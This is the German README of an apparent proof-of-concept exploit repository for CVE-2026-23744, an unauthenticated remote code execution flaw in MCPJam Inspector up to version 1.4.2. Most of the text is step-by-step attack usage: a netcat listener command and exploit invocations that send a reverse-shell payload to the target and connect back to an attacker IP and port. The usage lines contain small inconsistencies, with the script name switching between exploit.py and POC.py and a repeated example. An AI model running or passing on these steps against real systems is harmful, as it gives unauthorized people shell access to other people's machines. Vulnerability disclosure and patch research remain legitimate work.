sbouabid-sec/cve-2026-23744-pocCVE-2026-23744 — Proof-of-Concept-Exploit für eine nicht authentifizierte Schwachstelle zur Remotecodeausführung in MCPJam Inspector <= 1.4.2.
MCPJam Inspector <= 1.4.2 bindet standardmäßig an 0.0.0.0 und gibt /api/mcp/connect ohne Authentifizierung frei. Der Endpunkt akzeptiert ein serverConfig-Objekt, das direkt einen Prozess auf dem Host startet – die Übergabe eines Reverse-Shell-Payloads ermöglicht sofortige RCE ohne erforderliche Anmeldedaten.
pip install requests
python3 exploit.py -u <target_url> -i <lhost> -p <lport> [-m <method>]
| Flag | Beschreibung | Standard |
|---|---|---|
-u | Ziel-URL | erforderlich |
-i | Ihre Listener-IP (LHOST) | erforderlich |
-p | Ihr Listener-Port (LPORT) | erforderlich |
-m | Payload-Methode: busybox, bash, python3 | busybox |
Schritt 1 — Listener starten:
nc -lvnp 4444
Schritt 2 — Exploit ausführen:
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
Falls busybox auf dem Ziel nicht funktioniert, versuchen Sie die anderen Methoden:
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
| Software | Verwundbar | Behoben |
|---|---|---|
| MCPJam Inspector | <= 1.4.2 | 1.4.3 |